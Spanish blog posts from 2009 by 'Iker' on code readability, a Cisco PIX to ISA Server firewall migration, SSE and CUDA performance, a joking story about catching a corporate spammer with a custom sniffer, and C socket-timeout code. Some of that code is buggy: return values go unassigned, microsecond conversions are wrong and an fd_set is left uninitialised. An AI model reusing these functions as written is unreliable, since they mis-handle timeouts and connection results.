Ahora a que viene toda esta joda?, pos muy fácil, a que en realidad si se nota un cambio bastante fuerte, al tener yo un estilo bastante criptico y ~~ahorra lineas~~ "optimizado" de programar pues la cosa no le quedaba fácil a los demás; aunque el usar notación húngara siempre daba cierta idea la claridad de un código debe implementarse muy a pesar del usar un poco mas de memoria y que el programa ande un poco mas lento ( no aplica a todos los casos ).

Salu2.

PD: Hoy me tope con la etiqueta "strike" xD.
PD2: Este es el primero de una serie de artículos cortos acerca de tu hermana... y tu mama... y vos lector gilipollas.

Att: Iker

Cuando lo importante es la "Administrabilidad"

2009-12-28T18:08:00.001-05:00

Bueno venga, dicese, algún día en mi faceta de consultor de seguridad informática y en general TI, pos resulta que en una empresa querían cambiar su flamante firewall Cisco Pix por un ISA Server. Para los entendidos en el tema seguramente desatara un "Oh Hell WTF" así que comencemos.

Cisco PIX ( Entiéndase que esto es una opinión personal )

Bueno venga todos sabemos que Cisco mola, y mola mucho, entonces cual es el problema?, muy fácil resultase el que no todos son unos genios Cisco Partner Certified que lo podrían administrar al derecho y al revés ( en realidad unas cuantas horas con google y todo queda claro ). Es por esto que se decidió el tener una plataforma administrable por la mitad de IT, a fin de quitarse múltiples problemas de encima, ya que de por si el cisco estaba muy mal configurado; ahora si vamos a la parte técnica y sus jodas:

Instalando ISA: Nada complicado, instalar SO, instalar ISA, asegurar SO y configurar el ISA.

Notas: No deshabilitar servicios como Telephony por que el firewall depende de estos, tampoco implementar las protecciones del SO frente a ataques como syn flood, el firewall se encarga de eso así que no mamen.

Obtener la configuración del PIX: Bueno acá viene una parte difícil cuando no se conoce PIX. Este maneja objetos en vez de reglas puras ( en teoria ), lo que le permite agrupar como objetos de diferentes tipos los puertos, host y demás, luego se crean reglas que aplican para interfaces internas o externas. Pero en realidad donde viene la joda es en estas lineas:

ip address outside XXX.XXX.XXX.206 255.255.255.248

static (inside,outside) XXX.XXX.XXX.204 192.168.1.1 netmask 255.255.255.255 0 0
static (inside,outside) XXX.XXX.XXX.202 192.168.1.2 netmask 255.255.255.255 0 0

En realidad es mas algo de confusión con el tema de redes, si vemos la IP externa que definimos termina en 206 con una mascara de 248 lo que nos deja un total de? o si 6 ip's libres desde la 1 hasta la 6, pero okay esperen lento; se supone que solo podemos setear escuchas en interfaces que tengamos configuradas, lo cual nos produce un gran "FUCK" cuando vemos esto

access-list outside_access_in permit tcp any host XXX.XXX.XXX.205 object-group FUCK
access-list outside_access_in permit tcp any host XXX.XXX.XXX.202 object-group FUCK2

Bueno venga resulta que el PIX es capaz de escuchar en sus diferentes interfaces ( si múltiples ) lo cual le da una gran ventaja, ya que también es capaz de realizar esto desde nivel interno a externo, me explico, sacas el trafico de los servidores corporativos por la IP XXX.XXX.XXX.203 y la de los usuarios mediante la IP XXX.XXX.XXX.202, en caso de que tengas un ataque de SPAM interno tendrás asegurado por lo menos la reputación de tus servidores corporativos.

Una vez solucionados estos problemas, el replicar la configuración en un ISA requiere cierta improvisación al ser mas limitada la "configurabilidad" del mismo en cuanto se refiere a aspectos de enrutamiento y filtro avanzados, pero funciona y el cliente queda contento :D.

Happy Fuck.

PD: En la config del PIX "static" aplica como una ruta.

Att: Iker

Por que la era de hielo persiste

2009-12-28T18:07:00.000-05:00

Bueno dicese que últimamente e andado de ñoño estudiando nuevas tecnologías, chando código etc.. cosa que a uds no les importa en absoluto. ~~casquelo que yo lo patrocino ñero xD~~

El hecho recae en que pos los libros de intel molan, y CUDA y las nuevas HCI y etc..; después de unas cuantas pruebas de concepto podemos decir que:

Los actuales sistemas operativos ( Excepto Mac ) siguen en el pasado, usando las mismas operaciones primitivas, no es que las tarjetas gráficas sean tan la leche ( son la leche ) si no que el actual software es incapaz de aprovechar todo el hardware que tiene a su disposición.

Si nos fijamos en los libros de intel y las especificaciones inclusive de AMD ( cof cof donde están mis gafas Willson? ) vemos que existen operaciones que aprovechan las ventajas de SSE en todas sus facetas ( 2, 3, etc.. ), las cuales inclusive traen operaciones para strings. Muchos dirán que son pequeñeces pero esas pequeñeces se repiten millones de veces cada minuto en nuestro procesador, el mínimo margen de tiempo haría una diferencia considerable de performance; esperemos a windows ~~World Domination~~ 8 que solo funcara en 64 bits a ver si resuelve ese pequeño detalle.

Por que salvo a Mac?, por que Mac decidió mudarse a intel en el mejor momento, teniendo a su disponibilidad una serie bastante amplia de nuevas formas de hacer las cosas; que no se tiraron todo ese rato portando nada mas de powerpc a x86 ( Cambiamos modelo de memoria, unas cuantas asm, huu que lindo microkernel ); si no optimizando su funcionamiento, creo que todo el que haya usado Mac recientemente habrá notado la diferencia de performance y demás que tiene con Windows y Linux ( No me salgan con sus kernels específicos o los pateo ).

Ahora demosle palo a las tarjetas gráficas vs procesador xD, ocurre lo mismo, el procesamiento de datos de gran volumen se optimiza ahora con las tarjetas gráficas, pero cuando son de poco volumen resulta poco practico por los timings de transferencia de datos entre la memoria del pc y la GPU cosa que no tienen en cuenta algunos ~~cabrones~~ programadores que quieren meterle GPU a todo.
Aparte de esto es claro que el SDK de CUDA asi como sus ejemplos estan diseñados para que use las mejores practicas con la tecnología que tienen justo ahora, lo que les permite que aunque los programadores sean un grupo de monos ~~amaestrados por linus torvalds~~ tengan que usar operaciones optimizadas y diseñadas por programadores que de verdad sabían lo que hacían.

Ya me dio pereza terminar el post. ademas de que es opinión personal y por ende no causara debate ~~putos racistas~~ ( quien quiere pelear? xD )Si tienen tele ahí se ven xD.

PD: Las etiquetas strike molan mucho xD.

Att: Iker

La que no gano la empato!!

2009-12-28T18:05:00.000-05:00

Huu nuevo "tag" de jodas, pos básicamente son historias de juacking, consultoria y demás mamadas de esas que se supone debería escribir mas a menudo; la siguiente historia retrata la incapacidad innata en mi para aceptar derrotas, haciendo hasta lo imposible por por lo menos empatar la joda, así signifique autojoderme xD.

La que no gano la empato

~~Había una vez~~ Un buen día en un mundo infestado de bichos raros, gobernantes déspotas y gente sin la mas jodida idea de jugar Age Of Empires se presento ante el aquel entonces señor de las legiones uno de sus esbirros; este manifestaba que había recibido malos tratos por parte de uno de sus señores feudales debido a que este no había logrado enviar una misiva cuyo contenido era acerca de ~~petición de aparato de "enlarge your penni"~~advertencia de guerra; esto se debía a que los reinos habitados por este incauto feudo estaban incluidos en la lista de los reinos contaminados con la peste negra, por ende otros reinos rechazaban sus misivas.

Por que estaba este reino rebosante de bosques llenos de dinero y estupidez humana en la lista de contaminados con la peste negra?
Que estratagema deberíamos tejer en torno a tan grave ocurrencia?
Y si no funciona la estratagema cual es el plan B, C, D...?

( Que si coño que yo soy el HERO( English xD ) )
Jueves 13 de Septiembre de 2108:
Misiva en respuesta a la primera pregunta:

Mi querido y nunca bien ponderado ( esta es clásica mía xD ) señor de las legiones de como se llame su jodido reino, ud esta incluido por que uno de los visitantes provenientes de otros reinos envía una serie de misivas de contenido ~~"How to enlarge your penni"~~ amenazador a otros reinos firmando como "La peste negra".

Jueves 13 de Septiembre de 2108:
Misiva en respuesta a la segunda pregunta:

Que el sol cubra sus cuerpos con riegos de calor fraternal mi señor de las legiones de ese jodido reino, la forma mas fácil es enviar a uno de sus esbirros para interceptar las misivas que son enviadas a estos reinos lejanos y seguramente mas jodidos que el suyo.

Viernes 14 de Septiembre de 2108:
Misiva en respuesta al hero por parte del señor de las legiones

Mis esbirros han sido insistentes y prevalecido ante el cansancio y la hambrina al realizar su dantesca tarea, aun así no han conseguido resultados como los de Hercules frente a medusa relegando a nuestro reino a un periodo de ~~puteo continuo por parte de los duros~~ oscuridad y sombría calma por periodos cortos durante el día, que mas podemos hacer?, ayudemos por favor y prometo darle la mano de cualquiera de mis hijos ( no tengo hijas y mi esposa no aguanta ).

Viernes 14 de Septiembre de 2108:
Misiva en respuesta al señor de las legiones y a la 3ra pregunta

Mi querido y siempre ~~banco generador de dinero~~ bien recibido señor de las legiones de ...whatever al grano. Debido a que mi ya envejecido y maltrecho cuerpo no soportaría los fríos invernales que invaden sus tierras a las 8 de la mañana deberé crear un método para interceptar estos mensajes de manera automática y continuada~~y así poder vaguear mas~~, en breve obtendrá ud una respuesta de mi parte describiendo el proceso que ha suscitado en mi ingeniosa mente su nada despreciable problema~~que ya me toca los huevos~~.

PD: Sus hijos saben programar?, se sienten cómodos en los semáforos?.

...Viernes en la noche, sábado y domingo clavado en un AMD K62 a 350 mhz con Win2K chando código... Llega el lunes...

Lunes 17 de Septiembre de 2108:
Misiva final por parte de hero

Es mi deber informarle a ud mi señor de las legiones a quien tanto aprecio tengo, que lo e logrado, me a requerido interminables horas de trabajo y esfuerzo el lograr automatizar tan magna tarea, gracias a una serie de compuestos y partes de seres humanos en descomposición e logrado unirles y crear este incansable esbirro con las manos de ~~Adolescente visitando badjojo.com~~ Tommy Carruthers y los ojos del gato de shreck ( a que mola ), el cual escribirá una copia de todas las misivas que uds le indiquen.

PD: Es un poco Andrógino el coso este... no me aguante las ganas de destajar el cuerpo de Pamela Chu ( Apellido - Nombre )

Bueno si han llegado hasta acá ya es bastante creo xd, así que la historia sin toda la joda técnica del anterior texto, es que tenían un spammer intermitente en una red corporativa, el muy cabrón enviaba spam a horas X o Y sin patrón de comportamiento ( vayandole puto ) y ya llevaba jueves y viernes sniffeando y nada que encontraba al muy cabrón, así que me clave todo el fin de semana programando un sniffer a medida que basado en determinadas reglas escribía los paquetes capturados a disco y si se sobrepasaba el limite de conexiones en X tiempo enviaba una alerta a un mail, y pos funco :). Dejo screen :D:

Salu2.

PD: Que si vida degenerada que podría~~(del verbo podrir)~~ haber puesto al wirecoso a dumpear a disco y mediante otra joda mas sencilla enviar el mail pero me salio de los huevos matarme la cabeza el fin de semana, hacer un soft ponerle el logo de la empresa y no ganarme mas que un "mola" por ese esfuerzo sobre humano ¬¬.

PD2: No se llego a un acuerdo con lo de los hijos de este loco xD.

Att: Iker

Recv, Send, Accept y ConnectTimeout

2009-12-28T18:04:00.000-05:00

Tengo medio pereza de seguir codeando y como no me da sueño hasta dentro de un rato paso a hacer un post sobre sockets:

Advertencia: Este post es realizado sin basarse en ninguna coñera de tuto por lo que puede estar incompleto y tener errores debido a la falta de memoria de tuhermana o en su defecto el autor.

Recv, Send, Accept y ConnectTimeout

Esta es una de las preguntas mas comunes, suele depende bastante de la plataforma pero mostrare un par de soluciones simples y explicadas:

Solución Windows API ( Lo mas genérica que la pude hacer )
Soporte: Recibir, Enviar, Aceptar y Conectar.
Comentarios: Esta en particular esta en capacidad de soportar el conectar pero no esta implementado por performance de la librería ( sale mas barato repetir código que meterlo acá :P ).

int WaitForEvent( long lEvent, u_long ulTime)
{
DWORD dwBlock = 0, dwRet = 0;
WSAEVENT wsEvent = NULL;
int iRet = 0;

wsEvent = WSACreateEvent();

if (wsEvent == WSA_INVALID_EVENT)
return -1;

iRet = WSAEventSelect( m_iSock, wsEvent, lEvent);

if (iRet == SOCKET_ERROR) {
WSACloseEvent( wsEvent );
return -1;
}

dwRet = WSAWaitForMultipleEvents( 1, &wsEvent, TRUE, ulTime, FALSE);

WSAEventSelect( m_iSock, wsEvent, 0);
WSACloseEvent( wsEvent );

ioctlsocket( m_iSock, FIONBIO, &dwBlock);

if (dwRet == WSA_WAIT_TIMEOUT)
return 0;

if (dwRet == WSA_WAIT_EVENT_0)
return 1;

return -1;
}

Creo que la mayoría del code es muy descriptivo pero seguramente viene la pregunta de por que putas uso ioctlsocket, la razon es que al asociar el socket con el evento este pasa a ser "no bloqueante" por lo que si no lo seteo de nuevo a bloqueante nos caga la cara.

Implementaciones para recv, send, accept y connect:

Recv:

int IsReadyForRecv( u_long ulTime )
{
return WaitForEvent( FD_READ, ulTime);
}

Send:

int IsReadyForSend( u_long ulTime )
{
return WaitForEvent( FD_WRITE, ulTime);
}

Accept:

int Accept( struct sockaddr_in *psiSin, u_long ulTime)
{
int iStLen = sizeof( sockaddr_in );
int iRes = 0;

if (!psiSin)
return INVALID_SOCKET;

memset( psiSin, 0x00, sizeof( struct sockaddr_in ));

if (ulTime == INFINITE)
return accept( m_iSock, ( struct sockaddr * )psiSin, &iStLen);

iRes = WaitForEvent( FD_ACCEPT, ulTime);

if (iRes != 1)
return iRes;

return accept( m_iSock, ( struct sockaddr * )psiSin, &iStLen);
}

Connect ( Implementación completa ):

bool ConnectTo( struct sockaddr_in *pSin, u_long ulTime)
{
int iStLen = sizeof( sockaddr_in );
DWORD dwBlock = 0, dwRet = 0;
struct sockaddr_in siTmp;
WSAEVENT wsEvent;
int iRes = 0;

if (ulTime == INFINITE) {
iRes = connect( m_iSock, ( struct sockaddr * )pSin, sizeof( struct sockaddr_in ));
if (iRes == SOCKET_ERROR)
return false;
return true;
}

wsEvent = WSACreateEvent();

if (wsEvent == WSA_INVALID_EVENT)
return false;

iRes = WSAEventSelect( m_iSock, wsEvent, FD_CONNECT);

if (iRes == SOCKET_ERROR) {
WSACloseEvent( wsEvent );
return false;
}

connect( m_iSock, ( struct sockaddr* )pSin, sizeof( struct sockaddr_in ));

iRes = WSAWaitForMultipleEvents( 1, &wsEvent, TRUE, ulTime, FALSE);

WSAEventSelect( m_iSock, wsEvent, 0);
WSACloseEvent( wsEvent );

if (iRes != 0)
return false;

if (dwRet == WSA_WAIT_TIMEOUT)
return false;

if (dwRet == WSA_WAIT_EVENT_0)
return true;

if (getpeername( m_iSock, ( struct sockaddr * )&siTmp, &iStLen) != 0)
return false;

return true;
}

Recordar que después de WSAEventSelect el socket queda establecido a asíncrono por lo cual la llamada a connect y su valor de retorno nos vale madres, al final utilizamos "getpeername" para verificar que si estamos o no conectados.

Para los fanboys de linux y demás ahí les dejo:

Solución: Estándar sockets API ( esta no es en absoluto genérica :P )
Soporte: Recibir, Enviar, Aceptar y Conectar.
Comentarios: No la e probado en sistemas BSD o FlipaOS pero debería funcar, En algunas distros tendrán que hacer m_iSock + 1 en el select para que funque.

Recv:

bool IsReadyForRecv( u_long ulTime )
{
struct timeval timeout;
fd_set fdAsync;

if (!IsActive())
return false;

FD_ZERO( &fdAsync );
FD_SET ( m_iSock, &fdAsync );

timeout.tv_sec = !ulTime ? 0 : (ulTime / 1000);
timeout.tv_usec = !ulTime ? 500 : ((ulTime % 1000) * 100);

if (select( m_iSock, &fdAsync, NULL, NULL, &timeout) == -1)
return false;

return FD_ISSET( m_iSock, &fdAsync ) ? true : false;
}

Send:

bool IsReadyForSend( u_long ulTime )
{
struct timeval timeout;
fd_set fdAsync;

if (!IsActive())
return false;

FD_SET ( m_iSock, &fdAsync );

timeout.tv_sec = !ulTime ? 0 : ulTime / 1000;
timeout.tv_usec = !ulTime ? 500 : (ulTime % 1000) * 100;

if (select( m_iSock, NULL, &fdAsync, NULL, &timeout) == -1)
return false;

return FD_ISSET( m_iSock, &fdAsync ) ? true : false;
}

No le veo complicaciones al code de recv y send así que sin comentarios :P.

Accept ( Acá comienza jevus a padecer ):

sigjmp_buf sbJmp = { 0 }; // GLOBAL // toca ( o miembro de la clase ahí verán )

int Accept( struct sockaddr_in *pSin, u_long ulTime )
{
socklen_t slLen = sizeof( struct sockaddr_in );
int iRes;

memset( pSin, 0x00, sizeof( struct sockaddr_in ));

if (!ulTime)
return accept( m_iSock, (struct sockaddr *)pSin, &slLen);

signal( SIGALRM, SignalProc);

if (!sigsetjmp( sbJmp, 1)) {
ualarm( ulTime * 1000, 0);

iRes = accept( m_iSock, (struct sockaddr*)pSin, &slLen);

ualarm( 0, 0);

return iRes;
}

return -1;
}

Esta solución tiene un cierto problema, y es que en programas multihilo puede generar bastantes dolores de cabeza, ahí otra solución mucho mas "elegante"( en teoría ) pero el problema es la portabilidad, ya que funca cuando se le da la gana en el sistema que se le da la gana, esta con una Critical Section para el salto la ganamos.

Connect:

sigjmp_buf sbJmp = { 0 }; // GLOBAL // toca ( o miembro de la clase ahí verán )

bool ConnectTo( struct sockaddr_in *pSin, u_long ulTime)
{
int iRes;

if (!ulTime)
return connect( m_iSock, ( struct sockaddr * )pSin, sizeof( struct sockaddr_in )) == -1 ? false : true;

signal( SIGALRM, SignalProc);

if (!sigsetjmp( sbJmp, 1)) {
ualarm( ulTime * 1000, 0);

iRes = connect( m_iSock, (struct sockaddr*)pSin, sizeof( *pSin ));

ualarm( 0, 0);

return iRes == -1 ? false : true;
}

return 1;
}

Problemas de esta pos exactamente los mismos de la anterior.

Hasta acá el post que ya va largo y no se lo leen; dudas inquietudes y demás acá mismo. Ciao.

También publicado en Cuteam

Att: Iker

Main

2009-12-28T18:01:00.002-05:00

Pos acá es donde comienza la joda, de vuelta al código ya mucho mas viejo pero hay vamos xD.

Salu2.

Att: Iker